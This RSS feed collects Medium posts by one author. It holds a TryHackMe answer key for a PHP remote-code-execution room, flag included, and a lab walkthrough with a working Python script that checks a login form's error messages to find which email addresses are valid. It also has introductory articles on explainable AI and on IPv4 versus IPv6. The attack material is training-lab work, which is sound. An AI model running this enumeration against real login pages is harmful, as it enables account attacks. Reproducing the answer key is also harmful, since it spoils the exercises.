<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kaniz Sukayna on Medium]]></title>
        <description><![CDATA[Stories by Kaniz Sukayna on Medium]]></description>
        <link>https://medium.com/@kaniz.1525?source=rss-9f02adc26fd8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*_MHW-DCzOJRtPdep43n34Q.jpeg</url>
            <title>Stories by Kaniz Sukayna on Medium</title>
            <link>https://medium.com/@kaniz.1525?source=rss-9f02adc26fd8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 01:59:06 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kaniz.1525/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[THM ROOM: PHP2Shell]]></title>
            <link>https://medium.com/@kaniz.1525/thm-room-php2shell-27d1c7cb1473?source=rss-9f02adc26fd8------2</link>
            <guid isPermaLink="false">https://medium.com/p/27d1c7cb1473</guid>
            <category><![CDATA[thm]]></category>
            <category><![CDATA[thm-walkthrough]]></category>
            <category><![CDATA[thm-writeup]]></category>
            <dc:creator><![CDATA[Kaniz Sukayna]]></dc:creator>
            <pubDate>Fri, 20 Nov 2026 10:07:16 GMT</pubDate>
            <atom:updated>2026-11-20T10:07:16.564Z</atom:updated>
            <content:encoded><![CDATA[<p>Exploit the PHP2Shell runtime CVEs via session.upload_progress for unauthenticated RCE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oA0Eq8WM9UmafPOrJxUSJw.png" /></figure><p><strong>What is the default name of the form field that switches on PHP’s upload-progress tracking?</strong></p><p><em>PHP_SESSION_UPLOAD_PROGRESS</em></p><p><strong>What one-word name does the PHP engine give to the longjmp it performs to abort a request that hits a fatal error such as running out of memory?</strong></p><p><em>Bailout</em></p><p><strong>What is the CWE identifier for the weakness class behind PHP2Shell? (format: CWE-NNN)</strong></p><p><em>CWE-824</em></p><p><strong>What version of PHP is the target server running?</strong></p><p><em>8.4.26</em></p><p><strong>What single word does the target page at /index.php print in response?</strong></p><p><em>OK</em></p><p><strong>Which HTTP response header does CVE-2026–109618 abuse to return leaked process memory to the attacker?</strong></p><p><em>Set-Cookie</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r9UawLL5rO4zVbbzyJyjHA.png" /></figure><p><strong>When the exploit runs, which system user do the commands execute as?</strong></p><p><em>www-data</em></p><p><strong>What is the flag returned by the exploit?</strong></p><p><em>THM{b4ilout_l3aves_th3_h3ap_dang1ing}</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*TKmUUY8nDudRfrplOomNJg.png" /></figure><p><strong>Which PHP 8.4 release fixes PHP2Shell?</strong></p><p><em>8.4.27</em></p><p><strong>Which php.ini directive, set to 0, disables the feature the attack relies on for delivery?</strong></p><p><em>session.upload_progress.enabled</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=27d1c7cb1473" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Enumeration & Brute Force Walkthrough Tryhackme]]></title>
            <link>https://medium.com/@kaniz.1525/enumeration-brute-force-walkthrough-tryhackme-6212a4f4a148?source=rss-9f02adc26fd8------2</link>
            <guid isPermaLink="false">https://medium.com/p/6212a4f4a148</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Kaniz Sukayna]]></dc:creator>
            <pubDate>Thu, 05 Nov 2026 18:32:17 GMT</pubDate>
            <atom:updated>2026-11-05T18:32:17.104Z</atom:updated>
            <content:encoded><![CDATA[<h3>Task # 03:</h3><p>Automation script: script.py</p><p>1st Step:</p><p>nano script.py</p><pre>import requests<br>import sys<br><br>def check_email(email):<br>    url = &#39;http://&lt;enter the target ip&gt;/labs/verbose_login/functions.php&#39;  # Location of the login function<br>    headers = {<br>        &#39;Host&#39;: &#39;enum.thm&#39;,<br>        &#39;User-Agent&#39;: &#39;Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0&#39;,<br>        &#39;Accept&#39;: &#39;application/json, text/javascript, */*; q=0.01&#39;,<br>        &#39;Accept-Language&#39;: &#39;en-US,en;q=0.5&#39;,<br>        &#39;Accept-Encoding&#39;: &#39;gzip, deflate&#39;,<br>        &#39;Content-Type&#39;: &#39;application/x-www-form-urlencoded; charset=UTF-8&#39;,<br>        &#39;X-Requested-With&#39;: &#39;XMLHttpRequest&#39;,<br>        &#39;Origin&#39;: &#39;http://enum.thm&#39;,<br>        &#39;Connection&#39;: &#39;close&#39;,<br>        &#39;Referer&#39;: &#39;http://enum.thm/labs/verbose_login/&#39;,<br>    }<br>    data = {<br>        &#39;username&#39;: email,<br>        &#39;password&#39;: &#39;password&#39;,  # Use a random password as we are only checking the email<br>        &#39;function&#39;: &#39;login&#39;<br>    }<br><br>    response = requests.post(url, headers=headers, data=data)<br>    return response.json()<br><br>def enumerate_emails(email_file):<br>    valid_emails = []<br>    invalid_error = &quot;Email does not exist&quot;  # Error message for invalid emails<br><br>    with open(email_file, &#39;r&#39;) as file:<br>        emails = file.readlines()<br><br>    for email in emails:<br>        email = email.strip()  # Remove any leading/trailing whitespace<br>        if email:<br>            response_json = check_email(email)<br>            if response_json[&#39;status&#39;] == &#39;error&#39; and invalid_error in response_json[&#39;message&#39;]:<br>                print(f&quot;[INVALID] {email}&quot;)<br>            else:<br>                print(f&quot;[VALID] {email}&quot;)<br>                valid_emails.append(email)<br><br>    return valid_emails<br><br>if __name__ == &quot;__main__&quot;:<br>    if len(sys.argv) != 2:<br>        print(&quot;Usage: python3 script.py &lt;email_list_file&gt;&quot;)<br>        sys.exit(1)<br><br>    email_file = sys.argv[1]<br><br>    valid_emails = enumerate_emails(email_file)<br><br>    print(&quot;\nValid emails found:&quot;)<br>    for valid_email in valid_emails:<br>        print(valid_email)</pre><p>then ctrl +o -&gt; enter-&gt; ctrl+x</p><p>2nd Step:</p><p>Download wordlist of usernames</p><p><a href="https://github.com/nyxgeek/username-lists/blob/master/usernames-top100/usernames_gmail.com.txt">username-lists/usernames-top100/usernames_gmail.com.txt at master · nyxgeek/username-lists</a></p><p>3rd Step:</p><p>In terminal write:</p><pre>python3 script.py usernames_gmail.com.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*ziG1yWKXTVpH2VQ4z78KmQ.png" /></figure><p>What is the valid email address from the list?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/1*d51KMXqjYTFsk8Ei3o3vAg.png" /></figure><p>Task # 04</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6212a4f4a148" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Black Boxes to Clear Decisions: Understanding Explainable AI]]></title>
            <link>https://medium.com/@kaniz.1525/explainable-ai-what-is-your-ai-model-actually-thinking-d4b334ebeebe?source=rss-9f02adc26fd8------2</link>
            <guid isPermaLink="false">https://medium.com/p/d4b334ebeebe</guid>
            <category><![CDATA[lime]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[explainable-ai]]></category>
            <category><![CDATA[shap]]></category>
            <dc:creator><![CDATA[Kaniz Sukayna]]></dc:creator>
            <pubDate>Sat, 29 Aug 2026 13:37:11 GMT</pubDate>
            <atom:updated>2026-08-29T13:49:56.580Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Explainable AI (XAI) </strong>is a collection of tools, frameworks, and methods applied <em>to</em> machine learning models to make their decisions transparent and understandable to humans.Imagine you’re building your first machine learning model. You train it on thousands of examples, run your test data and somehow your model achieves <strong>95% accuracy</strong>.</p><p>You’re excited. You show it to your professor or senior engineer.They look at the results and ask:</p><blockquote><strong><em>“Why did the model make this prediction?”</em></strong></blockquote><p>And you say:</p><blockquote><em>“Well… the model predicted it.”</em></blockquote><p>That answer might work in a classroom project. It definitely won’t be enough when you’re building AI systems that people depend on. Welcome to <strong>Explainable AI</strong>, or <strong>XAI</strong>. I want you to understand XAI not as another complicated AI buzzword but as a simple engineering question:</p><p><strong>If an AI system makes a decision, can we understand why it made that decision?</strong></p><p><em>Explainable AI refers to methods and techniques that make the outputs of machine learning models interpretable and understandable to humans. An AI model can give you an answer. Explainable AI tries to help you understand how and why that answer was produced.</em></p><h3>Before XAI, Understand What a Machine Learning Model Does</h3><p>If you’re completely new to AI, let’s start here.A machine learning model basically learns patterns from data. Suppose we want to build a model that predicts whether a student will pass an exam.We might give the model data like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*HW6XDgdJGq0FhIdt8orZhw.png" /></figure><p>The model looks at these examples and tries to learn patterns. Eventually, we give it a new student:</p><p><em>Study hours: 6<br>Attendance: 85%<br>Previous score: 70</em></p><p>The model might predict: <strong>Pass</strong></p><p>Great but here’s where things become interesting.We can ask: <strong><em>Why did you predict Pass? </em></strong>A simple model may be able to show us but some modern AI models can be incredibly complicated and that’s where the <strong>black-box problem</strong> begins.</p><h3>What Is the Black-Box Problem?</h3><p>Imagine you have a machine you put something inside.The machine processes it ,you get an output but you don’t know what happened inside.</p><pre>Input<br>  ↓<br>┌─────────────────┐<br>│                 │<br>│    AI MODEL     │<br>│   ??? ??? ???   │<br>│                 │<br>└─────────────────┘<br>  ↓<br>Prediction</pre><p>You know:</p><p><strong>Input → Prediction</strong></p><p>But the process in the middle isn’t easy to understand.This is what people often mean when they call an AI system a <strong>black box</strong>.And here’s something important:<em>Not every AI model is equally difficult to understand.</em>A small decision tree can be relatively easy to follow.As large neural networks can be extremely difficult to interpret directly.</p><h3>Why Should You Care About XAI as a Student?</h3><p>You might be thinking you’re just learning Python and machine learning. Why should you care about this already? Because when you move beyond tutorials and start building real AI systems, you’ll quickly discover something:</p><p><strong>Getting a prediction is not the whole job.</strong></p><p>As an engineer, you also need to understand:</p><ul><li>Is the model behaving correctly?</li><li>Is it relying on the right information?</li><li>Is there bias in the predictions?</li><li>Can we debug it?</li><li>Can a human trust its output?</li><li>What happens when the model is wrong?</li></ul><p>XAI helps us answer these questions.</p><h3>Local vs Global Explanations</h3><p>In Explainable AI, a <strong>local explanation</strong> focuses on understanding why an AI model made one specific prediction, while a <strong>global explanation</strong> looks at how the model generally makes decisions across many predictions.</p><p>For example, if an AI fraud detection system flags your transaction, a local explanation might tell you that the transaction was considered suspicious because of its unusually large amount, unfamiliar location, and new device. A global explanation, on the other hand, might show that the model generally gives the most importance to transaction amount, location, device information, and account history when detecting fraud.</p><p>Simply put, <strong>local explanations answer “Why did the model make this decision?”</strong></p><p>while <strong>global explanations answer “How does the model generally make decisions?”</strong></p><h3>Now Let’s Talk About SHAP</h3><p>If you start exploring Explainable AI, you’ll probably encounter a term called <strong>SHAP(SHapley Additive exPlanations)</strong></p><p>At a high level, SHAP tries to answer: <strong><em>Which features pushed the model toward this prediction, and by how much?</em></strong></p><p>Let’s return to our fraud detection example.suppose the model predicts:</p><p><strong>High probability of fraud</strong></p><p>SHAP might show something conceptually like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*kaaWZFliXlIyWmp-wpEvtQ.png" /></figure><p>Now the analyst has something useful to investigate. The model didn’t just say: <em>Fraud. </em>It gave us information about what influenced that prediction.</p><h3>Another Technique: LIME</h3><p>Another technique you may encounter is <strong>LIME(Local Interpretable Model-agnostic Explanations)</strong></p><p>Again, don’t get scared by the name. The important word here is <strong>Local.</strong></p><p>LIME focuses on explaining a particular prediction.Imagine your model is extremely complicated. Instead of trying to understand the entire model at once, LIME asks:<strong> Can I build a simpler explanation around this particular prediction?</strong></p><p>Think of it like trying to understand a huge city. You don’t need to understand every road in the country you just need to understand:<strong><em>“How do I get from this location to my destination?”</em></strong></p><p>That’s roughly the intuition behind a local explanation.</p><h3>What About Feature Importance?</h3><p>This is another concept beginners should understand. Suppose you build a model to predict house prices.</p><p>Your model uses:</p><ul><li>Location</li><li>House size</li><li>Number of bedrooms</li><li>Age of property</li><li>Distance from city center</li></ul><p>The model might tell you that:</p><p><strong>Location</strong> is extremely important. <strong>House size</strong> is also highly important. <strong>Property age</strong> matters somewhat less.</p><p>This gives us an idea of feature importance.A feature is simply an input variable that the model uses.</p><p>For example:</p><blockquote><em>Age, salary, temperature, location, number of bedrooms</em></blockquote><p>These are all features depending on the problem.</p><p>So when you hear: <strong><em>Feature X is important to the model.</em></strong></p><p>Think that this input has a significant influence on the model’s prediction.</p><h3>Explainability vs Interpretability</h3><p>You’ll also encounter another pair of terms:</p><p><strong>Interpretability</strong></p><p>and</p><p><strong>Explainability.</strong></p><p>They are related, but they’re not exactly the same.</p><p>Think about a simple decision tree.</p><pre>Is income &gt; 50,000?<br>       |<br>     Yes<br>       ↓<br>Is credit score &gt; 700?<br>     /       \<br>   Yes        No<br>   ↓           ↓<br>Approve      Review</pre><p>You can follow the logic yourself.</p><p>The model is relatively <strong>interpretable</strong>.</p><p>Now imagine a huge neural network with millions or billions of parameters.</p><p>You can’t simply look at the model and understand every internal calculation.</p><p>We may therefore use additional techniques to <strong>explain</strong> its behavior.</p><p>That’s where explainability comes in.</p><p>A useful mental model is:</p><p><strong><em>Interpretability = the model is understandable by design.</em></strong></p><p><strong><em>Explainability = we use methods to understand or communicate its behavior.</em></strong></p><h3>XAI and Bias</h3><p>AI doesn’t magically remove human bias. If biased or unrepresentative data is used to train a model, the model can learn those patterns….Imagine a hiring system trained on historical company data. If historical hiring decisions consistently favored a certain group, the model could learn patterns associated with those historical decisions.An explainability method might reveal that certain variables are strongly influencing predictions. That gives engineers a reason to investigate.</p><p><strong><em>XAI doesn’t automatically remove bias.</em></strong>It helps us <strong>see and investigate behavior. </strong>That’s an important distinction.</p><h3>Explainable AI in Cybersecurity</h3><p>If you’re interested in cybersecurity, XAI becomes particularly interesting. Imagine a Security Operations Center receiving hundreds or thousands of alerts.An AI system flags one network connection:</p><h3>Suspicious Activity</h3><p>An analyst now has two possibilities.</p><h3>System A</h3><p><em>“Malicious probability: 94%.”</em></p><p>That’s useful, but incomplete.</p><h3>System B</h3><p><strong><em>Suspicious because:</em></strong></p><ul><li>Unusual outbound traffic</li><li>Destination domain is rarely contacted</li><li>Abnormal connection frequency</li><li>Behavior differs significantly from the host’s normal pattern</li></ul><p>Now the security analyst has context. They can investigate the evidence rather than blindly trusting the AI. This is particularly valuable because cybersecurity is a field where <strong>human analysts and automated systems often need to work together.</strong></p><p>The goal isn’t necessarily: <strong><em>AI replaces the analyst. </em></strong>A better goal can be: <strong><em>AI helps the analyst make better and faster decisions.</em></strong></p><h3>What About ChatGPT and Generative AI?</h3><p>Now let’s move to something you’re probably already using.</p><p>Generative AI.</p><p>You ask an AI assistant: <em>Explain TCP/IP</em></p><p>It gives you a detailed answer.</p><p>You ask:<em>“Why did you give me this explanation?”</em></p><p>The model can generate an explanation but don’t assume that this is equivalent to opening the model’s internal reasoning and reading exactly what happened. Large language models are extraordinarily complex.</p><p>An explanation generated by the model is not necessarily a perfect window into the internal computational process. This is one of the major challenges researchers are still working on and as these systems become more powerful, understanding their behavior becomes increasingly important.</p><h3>The Most Important Lesson</h3><p>If there’s one thing I want you to remember from this article.. it’s this: <strong>An AI model isn’t finished when it produces an accurate prediction.</strong>As an engineer you should also care about:</p><p><strong>What did it learn?</strong></p><p><strong>Why did it make this prediction?</strong></p><p><strong>When does it fail?</strong></p><p><strong>Is it relying on the right information?</strong></p><p><strong>Can a human understand and evaluate its output?</strong></p><p>These questions become increasingly important as AI moves from simple student projects into healthcare, finance, cybersecurity, education, hiring, autonomous systems, and everyday applications.</p><p>The future isn’t simply about building models that can say: Here’s your answer.<strong><em> </em></strong>It’s about building systems that can help us understand: <strong><em>Here’s the answer, here’s what influenced it, here’s how confident I am, and here’s what you should verify.</em></strong></p><p>That’s the bigger idea behind <strong>Explainable AI</strong>.</p><p>And if you’re entering AI as a student, don’t just learn how to make models predict.Learn how to question those predictions because the moment you stop asking <em>“Why?”</em> is often the moment you stop being an AI engineer and start treating your model like a black box. <strong>And as engineers, we should never be afraid to open the box.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d4b334ebeebe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IPv4 vs IPv6]]></title>
            <link>https://medium.com/@kaniz.1525/ipv4-vs-ipv6-f6a8ff09edfc?source=rss-9f02adc26fd8------2</link>
            <guid isPermaLink="false">https://medium.com/p/f6a8ff09edfc</guid>
            <category><![CDATA[ip-address]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Kaniz Sukayna]]></dc:creator>
            <pubDate>Mon, 23 Jun 2025 14:56:36 GMT</pubDate>
            <atom:updated>2026-01-03T18:52:57.998Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>What is an IP?</strong></h3><blockquote><em>IP address stands for Internet Protocol. Your IP address is like your unique signature on the Internet.</em></blockquote><p>This is the general definition given by everyone, but what does it really mean?</p><h3><strong>IP address:</strong></h3><p>It stands for Internet Protocol, which can be stated as the address of your machine in the digital world.</p><p>Think of it like:</p><p>Your mails reaches you through your <strong>home address</strong>. While your data reaches your computer via <strong>IP address</strong>.</p><h3><strong>Types/ Versions of IP address:</strong></h3><p>There are 2 types of IP addresses</p><ol><li>IPv4</li><li>IPv6</li></ol><h3>Usage Types of IP addresses:</h3><p>Following are the usage types of IP addresses.</p><ul><li><strong>Public IP: </strong>visible on the internet</li><li><strong>Private IP: </strong>used inside your home or office network</li><li><strong>Static IP</strong>: does not change</li><li><strong>Dynamic IP: </strong>assigned temporarily by your network</li></ul><h3>IPv4:</h3><p><strong>IPv4 (Internet Protocol version 4)</strong> is the first widely used version of IP. It was introduced in the early 1980s and is still in use today.</p><p>An IPv4 address looks like:<br> 192.168.1.1</p><p>111.111.111.111 ( 8 bits per octet, 4 total octets)</p><p>It uses <strong>32 bits</strong>, which means there are about <strong>4.3 billion unique IPv4 addresses</strong> available which sounded like a lot in the beginning but isn’t enough for today’s world with billions of internet-connected devices (phones, computers, smart TVs, etc.). To deal with it things like <strong>NAT (Network Address Translation)</strong> were introduced to allow multiple devices to share one IP address. It works, but it’s kind of a patch rather than a permanent fix.</p><h3>IPv6:</h3><p><strong>IPv6 (Internet Protocol version 6)</strong> is the newer version, introduced in late 1990s, designed to address the shortage of IP addresses.</p><p>An IPv6 address looks like this:<br> 2001:0db8:85a3:0000:0000:8a2e:0370:7334 (16 octets)</p><p>It uses <strong>hexadecimal numbers</strong> <strong>128 bits </strong>(0–9 and a–f).It is separated by colons ( : ) instead of dots. Often simplified by removing leading zeroes or combining zero blocks. Allowing for approximately <strong>340 undecillion addresses</strong> (3.4 × 10 ³⁸). This is more than enough for every device on Earth.</p><p>IPv6 is also more secure, works faster, and doesn’t need things like NAT. Most modern platforms like Google, Facebook, and mobile networks like 4G/5G already use IPv6. So yeah even if we don’t realize it, a lot of us are already using IPv6 without knowing it.</p><h3>Conclusion:</h3><p><strong>IPv4 and IPv6</strong> help devices connect and communicate online. Right now, <strong>IPv4</strong> is still the most commonly used, but <strong>IPv6</strong> is becoming more important as it offers a much larger number of IP addresses, better security, and more efficient performance. As the internet keeps growing, we’ll eventually need to switch to IPv6, but for now both IPv4 and IPv6 are being used side by side. That’s why it’s a good idea to understand the main differences and similarities between them especially if you’re studying networking or planning to work in tech. It helps make better decisions when managing networks and keeps systems updated and secure.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f6a8ff09edfc" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>